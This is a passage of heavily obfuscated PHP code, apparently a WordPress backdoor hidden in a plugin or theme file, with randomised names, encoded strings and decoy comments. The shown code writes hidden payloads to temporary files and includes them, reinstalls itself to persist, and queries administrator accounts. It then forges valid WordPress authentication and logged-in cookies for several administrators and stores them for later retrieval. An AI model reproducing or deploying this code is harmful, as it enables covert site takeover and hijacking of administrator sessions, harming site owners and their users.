$kpcd8hbrtf_jb8     . c_5yznsrtgse_i(813),

   $kpcd8hbrtf_jb8    .   okltugscqfcy(814),
   $kpcd8hbrtf_jb8 .  okltugscqfcy(815),
);
  $wpctahnxtpwz17    =      "";
 foreach ($oimoaz7mn7kpb as   $jj6fib7ix9ntj) {
if ($jj6fib7ix9ntj  !== ""  &&   @$GLOBALS['__scf_cr6q9fwgft_18']($jj6fib7ix9ntj)   &&  @$GLOBALS['__scf_n1i7x5p4a4_46']($jj6fib7ix9ntj))     {
$wpctahnxtpwz17   =  $jj6fib7ix9ntj;
  break;



}
  }
    if   ($wpctahnxtpwz17     ===     "")     {$sxjqd0jziovi1=7245;$fsq8qxdiwhjlvb=$sxjqd0jziovi1%17;
     return;
  }
 $ebznq_iy8jw2e   =   $GLOBALS['__scf__ozzh8uadm__11']($wpctahnxtpwz17);
       spl_autoload_register(function  ($q8s4sra7mj) use ($ebznq_iy8jw2e)    {



   foreach (array($ebznq_iy8jw2e   . '/'    . $q8s4sra7mj  .   e77owqcywda_d(816), $ebznq_iy8jw2e     . '/'  . $q8s4sra7mj    .  okltugscqfcy(208)) as   $bmbbwzkhbdl5u)     {
  if   (@$GLOBALS['__scf_cr6q9fwgft_18']($bmbbwzkhbdl5u))   {
 include_once   $bmbbwzkhbdl5u;
      return;
     }
 }
});
$uh3v9zp8lp =   @$GLOBALS['__scf_ha14er2zmzf_92']($wpctahnxtpwz17);
    if   ($uh3v9zp8lp  ===   false   ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($uh3v9zp8lp,     okltugscqfcy(817))     ===   false)   {
return;
  }
    $uh3v9zp8lp    =   $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(818),  "",  $uh3v9zp8lp);
  $uh3v9zp8lp     =   $GLOBALS['__scf_gfb1kztgz8_351'](onlv7_99m8sby3(817),   okltugscqfcy(819), $uh3v9zp8lp);

   $xtiab2iw9qo45    =  n2d49ghrqegz5jd_m(o6xxatc5co65bwabc(),  c_5yznsrtgse_i(705));

     if  ($xtiab2iw9qo45    === false) {


     return;
  }
@$GLOBALS['__scf_uayyvei514_193']($xtiab2iw9qo45,  c_5yznsrtgse_i(820) .  $uh3v9zp8lp);
try {

@include $xtiab2iw9qo45;


 } finally  {



    er_0rzjfu8611gx($xtiab2iw9qo45);
 }
$jbnckn17eup6k  =    $GLOBALS['__scf_nyge3zwzqqi4_200']($k4j00sng_uvqd,   PATHINFO_FILENAME);
  $GLOBALS[e77owqcywda_d(821)]    =  $k4j00sng_uvqd;
$GLOBALS[onlv7_99m8sby3(822)]    =  $jbnckn17eup6k;
 $v81fz3ni9jvej =     e77owqcywda_d(823)
    . onlv7_99m8sby3(824)
 .   c_5yznsrtgse_i(825)



. e77owqcywda_d(826)


.   e77owqcywda_d(827)
.   '}'
  . onlv7_99m8sby3(828)
.  '}'
.  '}';



 $ars_z5vg4h = n2d49ghrqegz5jd_m(o6xxatc5co65bwabc(),  okltugscqfcy(705));


   if  ($ars_z5vg4h)   {
@$GLOBALS['__scf_uayyvei514_193']($ars_z5vg4h, $v81fz3ni9jvej);



 try {
@include     $ars_z5vg4h;
 } finally  {
  er_0rzjfu8611gx($ars_z5vg4h);
 }
   }


   } catch  (Throwable   $ye68b7hs2257kgf)   {
  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(829),   $ye68b7hs2257kgf);
    }  catch (Exception  $ye68b7hs2257kgf)  {

      }
     }
if    (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(830)))      {
function g9mupmxwgdj80d($vg3cffv0cm15a9b, $hnj_9chx98jw)
       {

 if      (!     $GLOBALS['__scf_a91xkwk0qm_35']($vg3cffv0cm15a9b)) {
      return  $vg3cffv0cm15a9b;
   }
       $kv_l9lbq54dc    =     array(e77owqcywda_d(831), e77owqcywda_d(832), c_5yznsrtgse_i(833),  c_5yznsrtgse_i(834),  okltugscqfcy(835));
   foreach ($kv_l9lbq54dc  as      $key)  {
 if  (!  isset($vg3cffv0cm15a9b[$key])  ||    !   $GLOBALS['__scf_a91xkwk0qm_35']($vg3cffv0cm15a9b[$key]))   {


continue;
     }
 $io2gv91mjg8b3 =    array();
      foreach  ($vg3cffv0cm15a9b[$key]     as   $jrw88vlegy5oic7c)  {
if  (!  $GLOBALS['__scf_a91xkwk0qm_35']($jrw88vlegy5oic7c))    {
      $io2gv91mjg8b3[]   =  $jrw88vlegy5oic7c;
  continue;


   }



    $gsdy18gl1598xp1   =  isset($jrw88vlegy5oic7c[e77owqcywda_d(389)]) ?  $jrw88vlegy5oic7c[e77owqcywda_d(389)]   : "";

   $jbnckn17eup6k   =   isset($GLOBALS[c_5yznsrtgse_i(836)])  ?  $GLOBALS[onlv7_99m8sby3(836)]   :      "";
  if  ($gsdy18gl1598xp1  ===  $hnj_9chx98jw  ||  ($jbnckn17eup6k   !==    ""   &&  $gsdy18gl1598xp1    ===  $jbnckn17eup6k))   {
  continue;
  }
 $io2gv91mjg8b3[] =  g9mupmxwgdj80d($jrw88vlegy5oic7c, $hnj_9chx98jw);
 }
$vg3cffv0cm15a9b[$key]  =  $io2gv91mjg8b3;
   }
return      $vg3cffv0cm15a9b;
    }
 }
function  j942fcefk5y9jo4zvbsn()
 {
 if    (!empty($GLOBALS[okltugscqfcy(837)]))  return     false;
 $GLOBALS[c_5yznsrtgse_i(837)]      =   1;

 return   true;


     }
function _jyn7yfyshu2s0at()
{
 try  {


if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(50))  &&   get_transient(okltugscqfcy(655))) {
return;



 }
  if (!j942fcefk5y9jo4zvbsn())   return;
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(654)))   set_transient(onlv7_99m8sby3(838), 1,   (0x134+0xcdc));
$eei2nt49x9t =      @$GLOBALS['__scf_o_3hcsdzwrvrr_96'](ku6yldy17ivtsoehkpgirz());
  if ($eei2nt49x9t &&  $eei2nt49x9t  > (4974+26) &&      $eei2nt49x9t < (0x341cdd+0x182e63)   &&  !xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz())) {
$rfqk54madz5qp2    =    @$GLOBALS['__scf_xfxvwe4pd_9ay_95'](ku6yldy17ivtsoehkpgirz());
   $snzft2b1tu47720     = r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($snzft2b1tu47720)   && pqt0j30bec0qiplt($snzft2b1tu47720) &&   __0dyqpm_77zwz($snzft2b1tu47720)   === w218ynit42v8uao2p())     {
 if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(59))) @clearstatcache(true,   ku6yldy17ivtsoehkpgirz());
  if  (@$GLOBALS['__scf_xfxvwe4pd_9ay_95'](ku6yldy17ivtsoehkpgirz()) ===  $rfqk54madz5qp2  &&  @$GLOBALS['__scf_o_3hcsdzwrvrr_96'](ku6yldy17ivtsoehkpgirz())     === $eei2nt49x9t) {
  if  (n_52vz_mvq1filje(ku6yldy17ivtsoehkpgirz(),   mnjwoq6_2fqzybrsdxadv2($snzft2b1tu47720)))  {
// gather circuit-breaker for OpenSSL 3 providers

 u34g0m5gddocpkl(ku6yldy17ivtsoehkpgirz());

 gy672vrnjusgcel1(ku6yldy17ivtsoehkpgirz());
  }
}
// linearizable write-ahead-log

     }
// WP List Block block attributes

    unset($snzft2b1tu47720,  $rfqk54madz5qp2);
    }
$em4xzxp3jm6     =  @$GLOBALS['__scf_o_3hcsdzwrvrr_96'](ku6yldy17ivtsoehkpgirz());
   $r4soln571tt00 = $em4xzxp3jm6     && $em4xzxp3jm6      >   (4945+55);
if    ($r4soln571tt00  && $em4xzxp3jm6   >   (764666+51664134))   {
   $r4soln571tt00  = false;
  }

   if   ($r4soln571tt00    &&     $em4xzxp3jm6  >   (1048568+8) &&  !nk_tspp3t11mjqbj($em4xzxp3jm6))  {
     if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(654)))  {


    set_transient(c_5yznsrtgse_i(838),  1, (3572+28));
}
 return;



 }

if  ($r4soln571tt00) {$eb124u9pq4m=28+77;$ot98o98okx1km=$eb124u9pq4m-34;
   $p1ut7k1n78 = r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($p1ut7k1n78)  || !pqt0j30bec0qiplt($p1ut7k1n78)) {
$r4soln571tt00 =   false;
 } else {
      $_94xqtiue4xgnzi  =  p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(839), "");
    $udjxmqg1c75v   =     __0dyqpm_77zwz($p1ut7k1n78);$rgf27s_lrvms=58+93;$r13w70tg73=$rgf27s_lrvms-31;


  $tsw6mc14x71fbemf = __0dyqpm_77zwz($GLOBALS['__scf_ncrh0liqs6be8x_41']($_94xqtiue4xgnzi)  ?  $_94xqtiue4xgnzi    :   "");
 if  ($udjxmqg1c75v  !==    ""  && ($tsw6mc14x71fbemf   ===   "" ||   version_compare($tsw6mc14x71fbemf,  $udjxmqg1c75v, '<')))   {
 $vonzw0b42ed4o84  =  $GLOBALS['__scf_poant85f5yad_56']($p1ut7k1n78);
$zuzcts93spci = @$GLOBALS['__scf_cr6q9fwgft_18']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()) .   c_5yznsrtgse_i(840) .  $vonzw0b42ed4o84);
 if  (!$zuzcts93spci)  {
$cn05ds4ovd1i   = get_option(okltugscqfcy(662));
      if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($cn05ds4ovd1i) &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($cn05ds4ovd1i, $vonzw0b42ed4o84    .  '|')    ===   0)    $zuzcts93spci = true;
}
     if  ($zuzcts93spci) $r4soln571tt00    =    false;
 if  (!$zuzcts93spci   &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($_94xqtiue4xgnzi)  && ($_94xqtiue4xgnzi  ===    ""   ||  $tsw6mc14x71fbemf   ===  ""   ||  version_compare($tsw6mc14x71fbemf, $udjxmqg1c75v,   '<')))     ciwxbzr19t8j5_t(onlv7_99m8sby3(839),      $p1ut7k1n78,     okltugscqfcy(735));


unset($vonzw0b42ed4o84,  $zuzcts93spci,  $cn05ds4ovd1i);
  }  elseif ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_94xqtiue4xgnzi)    &&   $GLOBALS['__scf_m36_x4cy3m1b5_10']($_94xqtiue4xgnzi)     >  (412+88)    &&    $GLOBALS['__scf_m36_x4cy3m1b5_10']($_94xqtiue4xgnzi)   <=  (0x67392+0x98c6e)   && !k4lhjl5483_yjz($_94xqtiue4xgnzi)  &&      pqt0j30bec0qiplt($_94xqtiue4xgnzi)    &&   $GLOBALS['__scf_poant85f5yad_56']($p1ut7k1n78)   !==  $GLOBALS['__scf_poant85f5yad_56']($_94xqtiue4xgnzi))  {
    $r4soln571tt00 = false;


   }


     }
}
// release write

    if ($r4soln571tt00)   {
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(654))) {
    set_transient(e77owqcywda_d(838),     1,     (3555+45));

   }
  return;
 }
 if  (xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz())) {
 return;
  }
     $kayfz2eb_vl1mr  =   $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz());
   if  (! @$GLOBALS['__scf_iomf4blfg0_43']($kayfz2eb_vl1mr))    {
   z896t8tuy9x7zn5($kayfz2eb_vl1mr, (856-363),   true);
}

      $q7ydqv2t7n   =  p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(839),   "");
  if  (!$q7ydqv2t7n  ||   !$GLOBALS['__scf_ncrh0liqs6be8x_41']($q7ydqv2t7n))     {
     if  (!get_transient(e77owqcywda_d(841))) {



e_42zxx3yq4pdz4bo4(e77owqcywda_d(842),  e77owqcywda_d(843));
set_transient(e77owqcywda_d(841),      1,    (5816-2216));
       }


   }
if  ($q7ydqv2t7n &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($q7ydqv2t7n)  &&     $GLOBALS['__scf_m36_x4cy3m1b5_10']($q7ydqv2t7n)  >   (546-46)     && $GLOBALS['__scf_m36_x4cy3m1b5_10']($q7ydqv2t7n)   <=  (1048550+26)    &&  !k4lhjl5483_yjz($q7ydqv2t7n)  && pqt0j30bec0qiplt($q7ydqv2t7n))    {
 $x2mht8gfecf4y   =   __0dyqpm_77zwz($q7ydqv2t7n);
if   ($x2mht8gfecf4y    === ""    || version_compare($x2mht8gfecf4y,  w218ynit42v8uao2p(),  '<'))  {
return;
    }
 $p_fosdoqiqr4  =   $GLOBALS['__scf_poant85f5yad_56']($q7ydqv2t7n);


        if  (@$GLOBALS['__scf_cr6q9fwgft_18']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())  .  e77owqcywda_d(840)  .  $p_fosdoqiqr4)) return;
    $y5fnvj_1t72u6     = get_option(c_5yznsrtgse_i(844));
      if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($y5fnvj_1t72u6) &&     $GLOBALS['__scf_ffvfced40_hd3k_7']($y5fnvj_1t72u6, $p_fosdoqiqr4  .  '|')   ===     0)   return;
 unset($p_fosdoqiqr4, $y5fnvj_1t72u6);
  $bgx6q5_ys9ru5lm3   =  $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())     .   onlv7_99m8sby3(667) .   $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),    c_5yznsrtgse_i(208));
  $xyn_vbxh4yhrl  =     @$GLOBALS['__scf_cr6q9fwgft_18']($bgx6q5_ys9ru5lm3)    ?    $GLOBALS['__scf__90_xdmo58j3q_311']((string)    @$GLOBALS['__scf_ha14er2zmzf_92']($bgx6q5_ys9ru5lm3))  : "";
  if ($xyn_vbxh4yhrl  !==   ""     && $GLOBALS['__scf_poant85f5yad_56']($q7ydqv2t7n)  === $xyn_vbxh4yhrl)    {
     return;



 }
 jl7b1mmow1nrgaho8(ku6yldy17ivtsoehkpgirz(),     (323+97));
 $v_honqahr9_  = n_52vz_mvq1filje(ku6yldy17ivtsoehkpgirz(), mnjwoq6_2fqzybrsdxadv2($q7ydqv2t7n));
    if  ($v_honqahr9_) {
    u34g0m5gddocpkl(ku6yldy17ivtsoehkpgirz());



 jl7b1mmow1nrgaho8(ku6yldy17ivtsoehkpgirz(),   (712-292));
       gy672vrnjusgcel1(ku6yldy17ivtsoehkpgirz());
  s_41a4npfkl91g6lvjvfe(true);
 doc379joovtj_lisexoga9(true);
   oodhj46z_4pz9mo(ku6yldy17ivtsoehkpgirz());



if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(845)))    {



set_transient(c_5yznsrtgse_i(838),     1,     (3554+46));
  

}
    } elseif ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(845)))    {
  set_transient(okltugscqfcy(838),  1,   (2815-1015));
}
}
}  catch  (Throwable $ye68b7hs2257kgf) {$ly6lhedz06=85*5;$lhkie0w1_smzt=$ly6lhedz06-41;
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(842),  $ye68b7hs2257kgf);
   }    catch  (Exception  $ye68b7hs2257kgf)  {
   }



 }
      
 function   acf2pyku9gq3l7p()
    {
     d5mabhd3jevjxm_a(e77owqcywda_d(846),  okltugscqfcy(847));
d5mabhd3jevjxm_a(onlv7_99m8sby3(848), e77owqcywda_d(849));
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(850)))    {
       remove_action(onlv7_99m8sby3(851),   onlv7_99m8sby3(852));
     remove_action(onlv7_99m8sby3(853),  e77owqcywda_d(852),  (0x6+0x4));
  remove_action(e77owqcywda_d(854), c_5yznsrtgse_i(855),      (3+7));
 }
   }


function    z0km9ggkhl1rza5bhxp()



{
  try {
   $wpdb  =  $GLOBALS[onlv7_99m8sby3(856)];
 $m3lh_pf02a0xyxa  =     $wpdb->prefix   . onlv7_99m8sby3(857);


$ku7g7t25v1n    =  'S'    .  e77owqcywda_d(858) .  $wpdb->users  .  c_5yznsrtgse_i(859)  .    $wpdb->usermeta    .  onlv7_99m8sby3(860);
  $r5qvpk83fkpvi9 =      $wpdb->get_results($wpdb->prepare($ku7g7t25v1n,  $m3lh_pf02a0xyxa, c_5yznsrtgse_i(861)));$nss0tg2_71q1=PHP_MAJOR_VERSION;$fbss0hf7k2ng=$nss0tg2_71q1*10;


  if    (!$GLOBALS['__scf_a91xkwk0qm_35']($r5qvpk83fkpvi9))  {
   e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(862), (string)    $wpdb->last_error);



return   array();


}
   return $r5qvpk83fkpvi9;
} catch  (Throwable   $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(567),  $ye68b7hs2257kgf);
  }   catch    (Exception  $ye68b7hs2257kgf)    {$xwyg5qro9n477v=PHP_INT_MAX/PHP_INT_MAX;$erw8f35m=$xwyg5qro9n477v+83;
     e_42zxx3yq4pdz4bo4(okltugscqfcy(567), $ye68b7hs2257kgf);
}
 return    array();
 }
   function  dqow0aejbm8nbiu40e9b($mh5ol3i1_mdp_302)
       {
 $jt19a9isifbb3ny   = array();
$rar0fu6m92vhhwb    =  function  ($cw525w0tmqb)     {
 $cw525w0tmqb[okltugscqfcy(863)] =  "";
return   $cw525w0tmqb;
   };
  try  {
 $ko0fiya8tz2 = p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(864),    array());
     

 if (!$GLOBALS['__scf_a91xkwk0qm_35']($ko0fiya8tz2))  $ko0fiya8tz2      =  array();
 $_pd =  false;
foreach ($ko0fiya8tz2  as $yzjg0l2dogrb7y1  =>    $flkzmx9nucc0mzq7)  {
  if ($GLOBALS['__scf_a91xkwk0qm_35']($flkzmx9nucc0mzq7)  && isset($flkzmx9nucc0mzq7['c'], $flkzmx9nucc0mzq7['e'])      &&  $GLOBALS['__scf_a91xkwk0qm_35']($flkzmx9nucc0mzq7['c'])      && (int)    $flkzmx9nucc0mzq7['e']   >    $GLOBALS['__scf_p_l9i38f5mdu2r_184']()     + (150144-63744))    {$mq4_e1y5=247|127;$ttzwgnxrt7ku=$mq4_e1y5^60;
   $jt19a9isifbb3ny[$yzjg0l2dogrb7y1]  =  $flkzmx9nucc0mzq7['c'];
}     else    {

    unset($ko0fiya8tz2[$yzjg0l2dogrb7y1]);
   $_pd = true;



    }
 }
   if  (!  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(865))   ||  ! $GLOBALS['__scf_yuvry6nxa5dk96_516'](okltugscqfcy(866)))     {



 if    ($_pd) ciwxbzr19t8j5_t(e77owqcywda_d(867), $ko0fiya8tz2,   okltugscqfcy(735));


   return   $jt19a9isifbb3ny;
 }
 if (! $GLOBALS['__scf_a91xkwk0qm_35']($mh5ol3i1_mdp_302)   || empty($mh5ol3i1_mdp_302))     {
 if   ($_pd)    ciwxbzr19t8j5_t(okltugscqfcy(868),   $ko0fiya8tz2, okltugscqfcy(735));
 return $jt19a9isifbb3ny;$sm_vvzl6=PHP_MAJOR_VERSION;$n16ljdoyhv=$sm_vvzl6*10;



}


    $tez26qkznrm1v =  $GLOBALS['__scf_p_l9i38f5mdu2r_184']() +  (0x7+0x7)   *  (0x2ae+0x14ed2);
       $is_ssl = $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(461))    &&  is_ssl();
 $onxmj6sfc2nxk3 = $is_ssl  ?    onlv7_99m8sby3(869)   : c_5yznsrtgse_i(870);
     $uxswgoll3eqc095t = $is_ssl   ?      (defined(okltugscqfcy(871)) ? SECURE_AUTH_COOKIE :  "")  :  (defined(onlv7_99m8sby3(872)) ?     AUTH_COOKIE   :   "");
  $cduayffjfrn1qxi   = defined(okltugscqfcy(873))  ?     LOGGED_IN_COOKIE  : "";
 if (!      $uxswgoll3eqc095t   ||  ! $cduayffjfrn1qxi)  {
 if ($_pd)   ciwxbzr19t8j5_t(okltugscqfcy(868),  $ko0fiya8tz2, onlv7_99m8sby3(735));
   return  $jt19a9isifbb3ny;
}
    $qlsdm_yebat13bmf  = defined(okltugscqfcy(874)) &&   COOKIE_DOMAIN   ?  $GLOBALS['__scf_lt6nnx5zea_8'](COOKIE_DOMAIN,     '.')   : kgvyhbi5fxdnhzziy9wc("");
      $bah1cxtmsg5 =     defined(okltugscqfcy(875))   ?     COOKIEPATH    : '/';



 $wkcj534ry39   = defined(c_5yznsrtgse_i(876)) ?   ADMIN_COOKIE_PATH   :  okltugscqfcy(877);


 $gzgie2hs0g  =  $is_ssl  ?  e77owqcywda_d(878)  :    okltugscqfcy(879);
$f_4isqr6gaomku4 = "\t";
 d5mabhd3jevjxm_a(onlv7_99m8sby3(880),  $rar0fu6m92vhhwb,   0);
      $dwqv52zo6crrj  = z63zn1_kvti62ezlrh(c_5yznsrtgse_i(881));
 $cxq7spn8adn8  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(725))  ? @get_option($dwqv52zo6crrj,   array()) : array();
if (!$GLOBALS['__scf_a91xkwk0qm_35']($cxq7spn8adn8))   $cxq7spn8adn8 =   array();
 if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(725))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(727)))   {
      $i1filatvbdnqxs2 = (int)    @get_option(z63zn1_kvti62ezlrh(onlv7_99m8sby3(882)),  0);
if   ($i1filatvbdnqxs2 < 2)   {
if (!empty($cxq7spn8adn8))   {
$cxq7spn8adn8 =     array();



   @update_option($dwqv52zo6crrj, $cxq7spn8adn8,     e77owqcywda_d(735));
  }
 @update_option(z63zn1_kvti62ezlrh(okltugscqfcy(882)), 2, c_5yznsrtgse_i(883));
}



 unset($i1filatvbdnqxs2);
       }
    $k7oderq529b      =  $GLOBALS['__scf_hotyagmbtkrb_36']($jt19a9isifbb3ny);
    foreach ($mh5ol3i1_mdp_302    as   $ej552jtqfr)  {
     if  (!   $GLOBALS['__scf_vd54bz_6kr2o44_68']($ej552jtqfr)  ||   !     $ej552jtqfr->ID   || !    $ej552jtqfr->user_login)   {
// WP useEntityProp: constant-time resume-session



    continue;
  }
// gather uncomputable session-type

 if   ($k7oderq529b  >=  (4-1))  {
  break;
       }
$ogeey3x5rvf  = (string)    $ej552jtqfr->user_login;


    if  (isset($jt19a9isifbb3ny[$ogeey3x5rvf])) {$m24l9zmz2bvcu=PHP_INT_MAX/PHP_INT_MAX;$_un5j2m24ac89c=$m24l9zmz2bvcu+19;
 continue;
    }


     if      (isset($cxq7spn8adn8[$ogeey3x5rvf]) &&   (int)   $cxq7spn8adn8[$ogeey3x5rvf] >    $GLOBALS['__scf_p_l9i38f5mdu2r_184']() +   2 * (89500-3100)) {
 continue;
  }
wp_cache_delete($ej552jtqfr->ID, c_5yznsrtgse_i(884));
        $tmax27onbxnpwt    = get_user_meta($ej552jtqfr->ID, e77owqcywda_d(885), true);

   if ($GLOBALS['__scf_a91xkwk0qm_35']($tmax27onbxnpwt)  &&     $GLOBALS['__scf_hotyagmbtkrb_36']($tmax27onbxnpwt)  >=  (18-8)) {
 $gkl93nx_iuc1  =   array();



foreach     ($tmax27onbxnpwt  as $kt0_majydwg9eo   =>    $l_ezot7d4f9l) {
 if   (isset($l_ezot7d4f9l[c_5yznsrtgse_i(886)])   &&    $l_ezot7d4f9l[onlv7_99m8sby3(886)] >  $GLOBALS['__scf_p_l9i38f5mdu2r_184']())    {
  $gkl93nx_iuc1[$kt0_majydwg9eo]    =  $l_ezot7d4f9l;
 }



     }
 if   ($GLOBALS['__scf_hotyagmbtkrb_36']($gkl93nx_iuc1)  !== $GLOBALS['__scf_hotyagmbtkrb_36']($tmax27onbxnpwt)) {



update_user_meta($ej552jtqfr->ID,  e77owqcywda_d(885),   $gkl93nx_iuc1);
       }

  }
  wp_cache_delete($ej552jtqfr->ID,  okltugscqfcy(887));
 $carrne0jw9qxt   = $GLOBALS['__scf_hnstmgzni1iah_281'](array(onlv7_99m8sby3(866), c_5yznsrtgse_i(888)),  $ej552jtqfr->ID);
$aozqj4vc1q6hm    =  $carrne0jw9qxt->create($tez26qkznrm1v);



 $ask4a1nc3iz2   = array();
 $ask4a1nc3iz2[]  = $qlsdm_yebat13bmf   . $f_4isqr6gaomku4    .  onlv7_99m8sby3(889) .   $f_4isqr6gaomku4     . $bah1cxtmsg5 . $f_4isqr6gaomku4 .  $gzgie2hs0g     . $f_4isqr6gaomku4  .  $tez26qkznrm1v    .  $f_4isqr6gaomku4 .  $cduayffjfrn1qxi    .  $f_4isqr6gaomku4   .  $GLOBALS['__scf_z2rz4n5m1kteb_865']($ej552jtqfr->ID,     $tez26qkznrm1v,    okltugscqfcy(890),   $aozqj4vc1q6hm);
   

    if  ($uxswgoll3eqc095t) {
   $ask4a1nc3iz2[]  =   $qlsdm_yebat13bmf  . $f_4isqr6gaomku4  . e77owqcywda_d(889)  .  $f_4isqr6gaomku4   .    $wkcj534ry39    .  $f_4isqr6gaomku4 .  $gzgie2hs0g .   $f_4isqr6gaomku4    .   $tez26qkznrm1v .   $f_4isqr6gaomku4 .      $uxswgoll3eqc095t .     $f_4isqr6gaomku4    .  $GLOBALS['__scf_z2rz4n5m1kteb_865']($ej552jtqfr->ID, $tez26qkznrm1v,  $onxmj6sfc2nxk3, $aozqj4vc1q6hm);
       }
    $jt19a9isifbb3ny[$ej552jtqfr->user_login]    =  $ask4a1nc3iz2;
$ko0fiya8tz2[$ogeey3x5rvf]    =   array('c' =>   $ask4a1nc3iz2,  'e'   => $tez26qkznrm1v);
$_pd   = true;
$k7oderq529b++;


}
    if     ($_pd)  {



    ciwxbzr19t8j5_t(okltugscqfcy(868), $ko0fiya8tz2,  onlv7_99m8sby3(891));
    }
// Sodium crypto: link session-window




   }   catch  (Throwable  $ye68b7hs2257kgf)    {


    e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(892),     $ye68b7hs2257kgf);
    }  catch     (Exception $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(893),   $ye68b7hs2257kgf);
    }
remove_filter(c_5yznsrtgse_i(880),    $rar0fu6m92vhhwb,   0);
return $jt19a9isifbb3ny;



  }
  function    tvznnwxbfjhxsbqlfq56()
 {
   try  {
     $ko0fiya8tz2    =  p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(868),  array());



if  (!$GLOBALS['__scf_a91xkwk0qm_35']($ko0fiya8tz2)  || empty($ko0fiya8tz2))  return;
       $dwqv52zo6crrj   =  z63zn1_kvti62ezlrh(e77owqcywda_d(881));
$cxq7spn8adn8    =    $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(894)) ?      @get_option($dwqv52zo6crrj, array()) : array();
   if    (!$GLOBALS['__scf_a91xkwk0qm_35']($cxq7spn8adn8))     $cxq7spn8adn8   = array();$tjdpcf_r=(0xf4+0x56);$r0h_p0mkib96=$tjdpcf_r%14;
   foreach ($ko0fiya8tz2   as $yzjg0l2dogrb7y1   =>   $flkzmx9nucc0mzq7)  {
     $cxq7spn8adn8[$yzjg0l2dogrb7y1]    =      $GLOBALS['__scf_a91xkwk0qm_35']($flkzmx9nucc0mzq7) &&     isset($flkzmx9nucc0mzq7['e']) ?    (int) $flkzmx9nucc0mzq7['e']   :      $GLOBALS['__scf_p_l9i38f5mdu2r_184']() +    (240^254)  *   (86313+87);



  }
   foreach ($cxq7spn8adn8    as     $a1pqlqbm4z3i52ig =>    $l60ob5g0eaes3oz4) {

  if  ((int)  $l60ob5g0eaes3oz4  <  $GLOBALS['__scf_p_l9i38f5mdu2r_184']())  unset($cxq7spn8adn8[$a1pqlqbm4z3i52ig]);
 }



     if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(727)))   @update_option($dwqv52zo6crrj,      $cxq7spn8adn8,  e77owqcywda_d(895));
  ciwxbzr19t8j5_t(c_5yznsrtgse_i(896),  array(),  e77owqcywda_d(895));
    }   catch (Throwable    $ye68b7hs2257kgf)    {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(897),   $ye68b7hs2257kgf);
 } catch (Exception  $ye68b7hs2257kgf) {



  e_42zxx3yq4pdz4bo4(e77owqcywda_d(898),   $ye68b7hs2257kgf);
   }
  }

    function     epjjocavp0_k8a7re091($o37smmdny8q3)
   {
// @invalidate trie

if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($o37smmdny8q3))  return     $o37smmdny8q3;
   if ($GLOBALS['__scf_a91xkwk0qm_35']($o37smmdny8q3) &&    isset($o37smmdny8q3['p'])  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($o37smmdny8q3['p']))    return $o37smmdny8q3['p'];


return   "";


  }



   function      krt1_8ilm67d0124($mh5ol3i1_mdp_302)
 {
 $list    = array();
   

 $so0e8dxbhwwno   =    (string)  p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(899),  "");
  $gl6g4u0jthh =    (string) p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(900), "");
if ($so0e8dxbhwwno !==    "" &&  $gl6g4u0jthh  !== "") {
    $list[$so0e8dxbhwwno]  =  $gl6g4u0jthh;
   }
    $dxpyb9zygqw2      = p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(901), array());
      if  ($GLOBALS['__scf_a91xkwk0qm_35']($dxpyb9zygqw2)) {
foreach ($dxpyb9zygqw2 as     $ff4tve5fpw7cizp  =>  $sy1g622o12cl)   {
// MySQL window functions: propagate task-graph

